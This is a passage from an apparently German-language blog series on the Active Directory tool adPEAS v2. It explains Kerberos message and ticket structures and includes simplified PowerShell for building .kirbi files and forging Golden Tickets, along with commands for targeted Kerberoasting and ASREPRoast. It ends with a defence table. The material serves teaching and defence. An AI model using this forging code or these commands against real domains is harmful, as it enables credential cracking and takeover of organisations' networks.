# 2. Authenticator mit Session Key verschlüsseln (Usage 7)
$encAuthenticator = Invoke-KerberosEncrypt -Key $sessionKey `
-Usage 7 -Plaintext $authenticator -EType $etype
# 3. AP-REQ mit TGT + verschlüsseltem Authenticator zusammenbauen
$apReq = Build-APReq -Ticket $tgt -EncryptedAuthenticator $encAuthenticator
TGS-REP (Ticket-Granting Service Reply)
Analog zur AS-REP, aber das Ticket ist jetzt ein Service Ticket statt eines TGT.
TGS-REP ::= [APPLICATION 13] KDC-REP
-- Wie AS-REP, aber:
-- msg-type = 13
-- ticket = Service Ticket (verschlüsselt mit Service-Account-Key)
-- enc-part = verschlüsselt mit TGS Session Key (oder Authenticator Subkey)
KRB-CRED: Das .kirbi-Format
KRB-CRED ist das Format, in dem Kerberos-Tickets exportiert werden — bekannt als .kirbi-Dateien (Rubeus, Mimikatz). adPEAS verwendet KRB-CRED sowohl beim Ticket-Export als auch beim Diamond Ticket (Base TGT parsen).
Struktur:
KRB-CRED ::= [APPLICATION 22] SEQUENCE {
pvno [0] INTEGER (5),
msg-type [1] INTEGER (22),
tickets [2] SEQUENCE OF Ticket,
enc-part [3] EncryptedData -- Enthält EncKrbCredPart
}
EncKrbCredPart ::= SEQUENCE {
ticket-info [0] SEQUENCE OF KrbCredInfo
}
KrbCredInfo ::= SEQUENCE {
key [0] EncryptionKey, -- Session Key
prealm [1] Realm,
pname [2] PrincipalName,
flags [3] TicketFlags,
authtime [4] KerberosTime,
starttime [5] KerberosTime,
endtime [6] KerberosTime,
renew-till [7] KerberosTime,
srealm [8] Realm,
sname [9] PrincipalName
}
Wie adPEAS ein .kirbi baut (Invoke-TicketForge):
function New-KrbCred {
param(
[byte[]]$Ticket, # Das gefälschte Ticket
[byte[]]$SessionKey, # Session Key
[int]$SessionKeyEType, # Enc Type des Session Keys
[string]$Realm,
[string]$UserName,
[hashtable]$Times # authtime, starttime, endtime, renew-till
)
# 1. KrbCredInfo bauen
$credInfo = Build-KrbCredInfo -SessionKey $SessionKey `
-SessionKeyEType $SessionKeyEType -Realm $Realm `
-UserName $UserName -Times $Times
# 2. EncKrbCredPart (NICHT verschlüsselt bei .kirbi!)
$encPart = [Asn1Builder]::CreateSequence(
[Asn1Builder]::CreateContextTag(0,
[Asn1Builder]::CreateSequence($credInfo)
)
)
# 3. "Verschlüsselung" mit etype 0 (= keine Verschlüsselung)
$encData = Build-EncryptedData -EType 0 -Cipher $encPart
# 4. KRB-CRED zusammenbauen
$krbCred = [Asn1Builder]::CreateApplicationTag(22,
[Asn1Builder]::CreateSequence(
[Asn1Builder]::Combine(@(
[Asn1Builder]::CreateContextTag(0,
[Asn1Builder]::CreateInteger(5)),
[Asn1Builder]::CreateContextTag(1,
[Asn1Builder]::CreateInteger(22)),
[Asn1Builder]::CreateContextTag(2,
[Asn1Builder]::CreateSequence($Ticket)),
[Asn1Builder]::CreateContextTag(3, $encData)
))
)
)
return $krbCred
}
Wichtig: Bei .kirbi-Dateien wird der EncKrbCredPart nicht verschlüsselt (etype = 0). Der Session Key liegt im Klartext vor. Wer eine .kirbi-Datei hat, hat das vollständige Ticket. Deshalb sollte man .kirbi-Dateien wie Passwörter behandeln.
Teil 5: Ticket-Struktur
Ticket (APPLICATION 1)
Das Kerberos-Ticket ist die Kernstruktur des Protokolls. Es wird vom KDC ausgestellt und mit dem Key des Ziel-Service verschlüsselt. Der Client kann es nicht entschlüsseln — er transportiert es nur.
Struktur:
Ticket ::= [APPLICATION 1] SEQUENCE {
tkt-vno [0] INTEGER (5),
realm [1] Realm, -- Domain des Service
sname [2] PrincipalName, -- Service Principal Name
enc-part [3] EncryptedData -- EncTicketPart (verschlüsselt)
}
Im Drahtformat:
61 82 xx xx -- APPLICATION 1 (Ticket)
| 30 82 xx xx -- SEQUENCE
| | A0 03 -- [0] tkt-vno
| | | 02 01 05 -- INTEGER 5
| | A1 xx -- [1] realm
| | | 1B xx -- GeneralString "CONTOSO.COM"
| | A2 xx -- [2] sname
| | | 30 xx -- PrincipalName
| | | | A0 03 -- [0] name-type
| | | | | 02 01 02 -- INTEGER 2 (NT-SRV-INST)
| | | | A1 xx -- [1] name-string
| | | | | 30 xx -- SEQUENCE OF GeneralString
| | | | | | 1B xx -- "krbtgt"
| | | | | | 1B xx -- "CONTOSO.COM"
| | A3 82 xx xx -- [3] enc-part
| | | 30 82 xx xx -- EncryptedData
| | | | A0 03 -- [0] etype
| | | | | 02 01 12 -- INTEGER 18 (AES256)
| | | | A1 03 -- [1] kvno
| | | | | 02 01 02 -- INTEGER 2
| | | | A2 82 xx xx -- [2] cipher
| | | | | 04 82 xx xx -- OCTET STRING (verschlüsselte Bytes)
EncTicketPart: Was im Ticket steckt
Der verschlüsselte Teil des Tickets enthält die eigentlichen Autorisierungsinformationen:
EncTicketPart ::= [APPLICATION 3] SEQUENCE {
flags [0] TicketFlags, -- BIT STRING (32 Bits)
key [1] EncryptionKey, -- Session Key
crealm [2] Realm, -- Client Domain
cname [3] PrincipalName, -- Client Name
transited [4] TransitedEncoding,
authtime [5] KerberosTime, -- Authentifizierungszeitpunkt
starttime [6] KerberosTime, -- Gültig ab
endtime [7] KerberosTime, -- Gültig bis
renew-till [8] KerberosTime, -- Erneuerbar bis
caddr [9] HostAddresses, -- Client-Adressen (optional)
authorization-data [10] AuthorizationData -- PAC!
}
TicketFlags im Detail:
| Bit | Flag | Hex | Beschreibung |
|---|---|---|---|
| 0 | RESERVED | 0x80000000 | Reserviert |
| 1 | FORWARDABLE | 0x40000000 | Ticket kann weitergeleitet werden |
| 2 | FORWARDED | 0x20000000 | Ticket wurde weitergeleitet |
| 3 | PROXIABLE | 0x10000000 | Ticket kann als Proxy dienen |
| 4 | PROXY | 0x08000000 | Ticket ist ein Proxy |
| 5 | MAY-POSTDATE | 0x04000000 | Ticket kann rückdatiert werden |
| 6 | POSTDATED | 0x02000000 | Ticket wurde rückdatiert |
| 7 | INVALID | 0x01000000 | Ticket ist ungültig (muss validiert werden) |
| 8 | RENEWABLE | 0x00800000 | Ticket ist erneuerbar |
| 9 | INITIAL | 0x00400000 | Ticket wurde vom AS ausgestellt (nicht TGS) |
| 10 | PRE-AUTHENT | 0x00200000 | Pre-Authentication wurde durchgeführt |
| 11 | HW-AUTHENT | 0x00100000 | Hardware-Auth wurde durchgeführt |
| 12 | TRANSITED-POLICY-CHECKED | 0x00080000 | Transit-Pfad geprüft |
| 13 | OK-AS-DELEGATE | 0x00040000 | Server ist als Delegations-Target markiert |
| 16 | NAME-CANONICALIZE | 0x00010000 | Name wurde kanonisiert |
| 26 | DISABLE-TRANSITED-CHECK | 0x00000020 | Transit-Check deaktiviert |
| 28 | RENEWABLE-OK | 0x00000008 | Renewal OK |
| 30 | ENC-PA-REP | 0x00000002 | Encrypted PA-REP enthalten |
Standard-Flags in adPEAS Golden/Silver/Diamond Tickets:
# Default TicketFlags für Golden Ticket:
$flags = @(
"FORWARDABLE", # 0x40000000
"PROXIABLE", # 0x10000000
"RENEWABLE", # 0x00800000
"INITIAL", # 0x00400000
"PRE-AUTHENT" # 0x00200000
)
# Combined: 0x50E00000 -> BIT STRING: 00 50 E0 00 00
Wie adPEAS ein Ticket baut (Golden Ticket Beispiel)
function Build-GoldenTicket {
param(
[string]$UserName,
[string]$Domain,
[string]$DomainSID,
[byte[]]$KrbtgtKey,
[int]$EType,
[int[]]$GroupRIDs
)
# 1. Session Key generieren
$sessionKey = New-RandomBytes -Count 32 # AES256
# 2. PAC bauen (KERB_VALIDATION_INFO)
$pac = Build-PAC -UserName $UserName -DomainSID $DomainSID `
-GroupRIDs $GroupRIDs -KrbtgtKey $KrbtgtKey -EType $EType
# 3. AuthorizationData mit PAC
$authData = Build-AuthorizationData -PAC $pac
# 4. Timestamps
$now = [DateTime]::UtcNow
$authtime = $now.ToString("yyyyMMddHHmmssZ")
$starttime = $authtime
$endtime = $now.AddHours(10).ToString("yyyyMMddHHmmssZ")
$renewTill = $now.AddDays(7).ToString("yyyyMMddHHmmssZ")
# 5. EncTicketPart zusammenbauen
$encTicketPart = [Asn1Builder]::CreateApplicationTag(3,
[Asn1Builder]::CreateSequence(
[Asn1Builder]::Combine(@(
# [0] flags
[Asn1Builder]::CreateContextTag(0,
Build-TicketFlags -Flags @("FORWARDABLE","PROXIABLE",
"RENEWABLE","INITIAL","PRE-AUTHENT")
),
# [1] key (Session Key)
[Asn1Builder]::CreateContextTag(1,
Build-EncryptionKey -EType 18 -Key $sessionKey
),
# [2] crealm
[Asn1Builder]::CreateContextTag(2,
[Asn1Builder]::CreateGeneralString($Domain.ToUpper())
),
# [3] cname
[Asn1Builder]::CreateContextTag(3,
New-PrincipalName -NameType 1 -Names @($UserName)
),
# [4] transited
[Asn1Builder]::CreateContextTag(4,
Build-TransitedEncoding
),
# [5] authtime
[Asn1Builder]::CreateContextTag(5,
[Asn1Builder]::CreateGeneralizedTime($authtime)
),
# [6] starttime
[Asn1Builder]::CreateContextTag(6,
[Asn1Builder]::CreateGeneralizedTime($starttime)
),
# [7] endtime
[Asn1Builder]::CreateContextTag(7,
[Asn1Builder]::CreateGeneralizedTime($endtime)
),
# [8] renew-till
[Asn1Builder]::CreateContextTag(8,
[Asn1Builder]::CreateGeneralizedTime($renewTill)
),
# [10] authorization-data (PAC!)
[Asn1Builder]::CreateContextTag(10, $authData)
))
)
)
# 6. EncTicketPart verschlüsseln (Usage 2)
$encPart = Invoke-KerberosEncrypt -Key $KrbtgtKey -Usage 2 `
-Plaintext $encTicketPart -EType $EType
# 7. Ticket zusammenbauen
$ticket = [Asn1Builder]::CreateApplicationTag(1,
[Asn1Builder]::CreateSequence(
[Asn1Builder]::Combine(@(
[Asn1Builder]::CreateContextTag(0,
[Asn1Builder]::CreateInteger(5)),
[Asn1Builder]::CreateContextTag(1,
[Asn1Builder]::CreateGeneralString($Domain.ToUpper())),
[Asn1Builder]::CreateContextTag(2,
New-PrincipalName -NameType 2 `
-Names @("krbtgt", $Domain.ToUpper())),
[Asn1Builder]::CreateContextTag(3,
Build-EncryptedData -EType $EType -Cipher $encPart)
))
)
)
return @{
Ticket = $ticket
SessionKey = $sessionKey
}
}
Teil 6: Warum Kerberoasting und ASREPRoast funktionieren
Kerberoasting: Der Designfehler
Kerberoasting nutzt eine fundamentale Eigenschaft des Kerberos-Protokolls aus: Jeder authentifizierte Benutzer kann ein Service Ticket für jeden SPN in der Domain anfordern.
Der normale Flow:
1. Client hat TGT (aus AS-REP)
2. Client sendet TGS-REQ fuer z.B. "MSSQLSvc/sql01.contoso.com"
3. KDC stellt Service Ticket aus:
- EncTicketPart wird mit dem Key des Service Accounts verschlüsselt
- Client bekommt das verschlüsselte Ticket
4. Client leitet Ticket an den Service weiter
Das Problem: Der Client bekommt das verschlüsselte Ticket
OHNE den Service Key zu kennen!
Warum das angreifbar ist:
TGS-REP
|
v
+-------------------------------------------+
| Service Ticket |
| +---------------------------------------+ |
| | EncTicketPart | |
| | (verschluesselt mit Service Key) | |
| | +-----------------------------------+ | |
| | | Session Key | | |
| | | Client Name | | |
| | | PAC (Gruppen, SIDs, ...) | | |
| | | Timestamps | | |
| | +-----------------------------------+ | |
| +---------------------------------------+ |
+-------------------------------------------+
|
v
Offline Brute-Force:
Für jedes Kandidaten-Passwort:
1. Key ableiten (RC4: MD4(password), AES: PBKDF2+DK)
2. Ticket entschlüsseln
3. Prüfen ob die entschlüsselte Struktur gültig ist
-> Gültig? Passwort gefunden!
RC4-HMAC macht es besonders einfach:
RC4-HMAC:
Key = MD4(UTF-16LE(password))
-> KEIN Salt, KEIN Stretching
-> ~100 Millionen Versuche/Sekunde mit hashcat (GPU)
AES256:
Key = DK(PBKDF2(password, salt, 4096))
-> 4096 PBKDF2-Iterationen
-> ~100.000 Versuche/Sekunde mit hashcat (GPU)
-> 1000x langsamer als RC4!
Was adPEAS bei Kerberoasting tut (Episode 6):
# Targeted Kerberoasting: SPN auf User setzen
Set-DomainUser -Identity "svc_backup" -SetSPN "HTTP/fakeservice.contoso.com"
# Was unter der Haube passiert:
# 1. LDAP-Modify: servicePrincipalName hinzufügen
# 2. Jetzt kann JEDER Domain User ein TGS-REQ fuer diesen SPN senden
# 3. Das Service Ticket ist mit dem Key von svc_backup verschlüsselt
# 4. Offline crackbar!
Warum RC4-Tickets so leicht zu knacken sind:
Die Verifikation bei RC4-HMAC ist trivial — man muss nur prüfen, ob die HMAC-MD5-Checksum über den Plaintext stimmt:
Fuer jeden Passwort-Kandidaten:
1. key = MD4(UTF-16LE(kandidat))
2. K1 = HMAC-MD5(key, usage_bytes)
3. K3 = HMAC-MD5(K1, checksum_aus_ticket)
4. plaintext = RC4(K3, ciphertext)
5. expected_checksum = HMAC-MD5(K1, plaintext)
6. Wenn expected_checksum == checksum_aus_ticket -> TREFFER!
Schritt 1 (MD4) ist extrem schnell. Es gibt keine teure Key-Derivation. Deshalb sind RC4-verschlüsselte Tickets in Sekunden bis Minuten knackbar, während AES256-Tickets je nach Passwort-Komplexität Stunden bis Monate brauchen.
ASREPRoast: Kerberoasting ohne Authentifizierung
ASREPRoast ist die Variante für Accounts, bei denen Pre-Authentication deaktiviert ist (DONT_REQ_PREAUTH).
Normaler AS-REQ Flow:
Client KDC
| |
|-- AS-REQ (ohne PA-DATA) --->|
| |
|<-- KRB-ERROR: PREAUTH_REQ --| "Bitte Pre-Auth senden!"
| |
|-- AS-REQ (mit PA-DATA) ---->| PA-ENC-TIMESTAMP
| | (verschlüsselter Timestamp)
|<-- AS-REP ------------------| TGT + enc-part
| |
ASREPRoast Flow (DONT_REQ_PREAUTH gesetzt):
Client KDC
| |
|-- AS-REQ (ohne PA-DATA) --->|
| |
|<-- AS-REP ------------------| TGT + enc-part
| | (verschlüsselt mit User Key!)
| |
v
Der enc-part der AS-REP ist mit dem User Key verschlüsselt
-> Offline Brute-Force möglich!
Der entscheidende Unterschied:
- Kerberoasting: Service Ticket ist mit dem Key des Service Accounts verschlüsselt. Der Angreifer braucht ein TGT (muss authentifiziert sein).
- ASREPRoast: Der enc-part der AS-REP ist mit dem Key des Ziel-Users verschlüsselt. Der Angreifer braucht keine Authentifizierung — nur den Usernamen.
Was adPEAS tut:
# Pre-Auth deaktivieren (wenn man WriteProperty hat)
Set-DomainUser -Identity "targetuser" -DontReqPreauth
# Jetzt kann JEDER (auch ohne Domain-Credentials!) eine AS-REQ senden:
# 1. AS-REQ an KDC mit cname = "targetuser", OHNE PA-DATA
# 2. KDC antwortet mit AS-REP
# 3. enc-part der AS-REP ist mit dem Key von "targetuser" verschlüsselt
# 4. Offline crackbar!
Defense: Was hilft gegen diese Angriffe?
| Maßnahme | Gegen | Effekt |
|---|---|---|
| AES-only erzwingen | Kerberoasting | 1000x langsamer zu knacken |
| Lange Service-Account-Passwörter (25+ Zeichen) | Kerberoasting | Brute-Force unpraktikabel |
| gMSA verwenden | Kerberoasting | 240-Byte-Passwort, automatische Rotation |
| Pre-Auth für alle aktivieren | ASREPRoast | Angriff nicht möglich |
| Service-Account-SPNs auditieren | Targeted Kerberoasting | Unautorisierte SPNs erkennen |
| Event ID 4769 monitoren | Beide | Ungewöhnliche Ticket-Anfragen erkennen |
Zusammenfassung: Die Schichten des Kerberos-Protokolls
+================================================================+
| Kerberos-Nachricht |
| (AS-REQ, AS-REP, TGS-REQ, TGS-REP, KRB-CRED) |
+================================================================+
| |
| +-----------------------------------------------------------+ |
| | ASN.1 DER Encoding | |
| | - Tag-Length-Value Struktur | |
| | - APPLICATION Tags (6A, 6B, 6C, 6D, 76) | |
| | - Context Tags (A0-A9) | |
| | - adPEAS: Asn1Builder / Asn1Parser | |
| +-----------------------------------------------------------+ |
| | |
| +-----------------------------------------------------------+ |
| | Verschluesselung | |
| | - RC4-HMAC (etype 23): HMAC-MD5 + RC4 | |
| | - AES256-CTS (etype 18): AES-CBC-CTS + HMAC-SHA1-96 | |
| | - Confounder + Checksum fuer Integritaet | |
| | - adPEAS: Invoke-KerberosEncrypt / Invoke-KerberosDecrypt | |
| +-----------------------------------------------------------+ |
| | |
| +-----------------------------------------------------------+ |
| | Key Derivation | |
| | - RC4: MD4(UTF-16LE(password)) -> kein Salt! | |
| | - AES: PBKDF2(password, salt, 4096) -> n-fold -> DK | |
| | - Sub-Keys: Ke (0xAA), Ki (0x55), Kc (0x99) | |
| | - adPEAS: Get-Hash / Get-SubKey | |
| +-----------------------------------------------------------+ |
| | |
| +-----------------------------------------------------------+ |
| | Ticket-Struktur | |
| | - Ticket [APPLICATION 1] mit EncTicketPart | |
| | - PAC (Privilege Attribute Certificate) | |
| | - PAC-Checksums via cryptdll.dll | |
| | - adPEAS: Build-GoldenTicket / Build-SilverTicket | |
| +-----------------------------------------------------------+ |
| | |
| +-----------------------------------------------------------+ |
| | Angriffe | |
| | - Kerberoasting: Service Ticket offline knacken | |
| | - ASREPRoast: AS-REP ohne Pre-Auth knacken | |
| | - Golden Ticket: TGT fälschen mit krbtgt-Key | |
| | - Silver Ticket: Service Ticket fälschen | |
| | - Diamond Ticket: Echtes TGT modifizieren | |
| +-----------------------------------------------------------+ |
| |
+================================================================+
Was wir gelernt haben
-
ASN.1 ist die Drahtsprache — Jede Kerberos-Nachricht ist ein ASN.1-DER-codierter Baum. adPEAS baut und parst diese Bäume manuell, weil .NET die Kerberos-spezifischen Tags nicht direkt unterstützt.
-
Key Derivation ist der Schwachpunkt — RC4-HMAC verwendet MD4 ohne Salt. AES256 verwendet PBKDF2 mit 4096 Iterationen. Der Unterschied: Faktor 1000 bei der Cracking-Geschwindigkeit.
-
Verschlüsselung schützt nur so gut wie der Key — RC4-HMAC und AES-CTS sind beide korrekt implementiert, aber wenn der Key (z.B. aus einem DCSync) kompromittiert ist, kann man beliebige Tickets fälschen.
-
Tickets sind signierte Autorisierungstoken — Der KDC stellt sie aus, der Service verifiziert sie. Wer den Signing-Key hat (krbtgt für TGTs, Service-Account für Service Tickets), kontrolliert die Autorisierung.
-
Kerberoasting funktioniert by Design — Jeder authentifizierte User kann Service Tickets anfordern. Die Verschlüsselung mit dem Service-Account-Key macht sie offline angreifbar.
-
PAC-Checksums sind die letzte Verteidigungslinie — Ohne korrekte Checksums (berechnet via
cryptdll.dll) werden gefälschte Tickets abgelehnt. Das ist auch der Grund, warum PAC-Validation-Patches (CVE-2022-37967) so wichtig waren.
Weiterführende Ressourcen
- RFC 4120 — The Kerberos Network Authentication Service (V5)
- RFC 4757 — The RC4-HMAC Kerberos Encryption Types Used by Microsoft Windows
- RFC 3961 — Encryption and Checksum Specifications for Kerberos 5
- RFC 3962 — Advanced Encryption Standard (AES) Encryption for Kerberos 5
- MS-KILE — Kerberos Protocol Extensions (Microsoft)
- MS-PAC — Privilege Attribute Certificate Data Structure (Microsoft)
← Episode 6: Offensive Operations | Episode 8: PAC & Ticket Forging — coming soon
Hinweis: Diese Episode beschreibt die Kerberos-Internals, wie adPEAS v2 sie implementiert. Die gezeigten Code-Beispiele sind vereinfacht — die tatsächliche Implementierung in adPEAS enthält zusätzliche Fehlerbehandlung, Edge Cases und Optimierungen.
Fragen oder Fehler gefunden? Issue melden unter https://github.com/61106960/adPEAS/issues
Keep digging — the bytes don’t lie.
Schlagwörter
Über den Autor
Verwandte Artikel
adPEAS v2 Blog-Serie: Active Directory Sicherheitsanalyse mit adPEAS
Einführung in adPEAS v2 — eine komplette Neuentwicklung des PowerShell-basierten Active Directory Analyse-Tools mit nativem Kerberos-Support, null Abhängigkeiten und über 40 Security-Checks.
adPEAS v2 Episode 2: Unter der Haube - Anatomie eines Scans
Was passiert, wenn adPEAS ein Active Directory scannt? Von Authentifizierung und LDAP-Abfragen bis hin zu kontextabhängigen Severity-Bewertungen und Caching — ein Blick unter die Haube.
adPEAS v2 Episode 3: Authentication Deep-Dive - Von Passwort bis Zertifikat
Deep Dive in die adPEAS v2 Authentifizierung: Kerberos-Internals, Pass-the-Hash, Pass-the-Key, PKINIT mit Zertifikaten, Shadow Credentials und Pass-the-Cert via Schannel.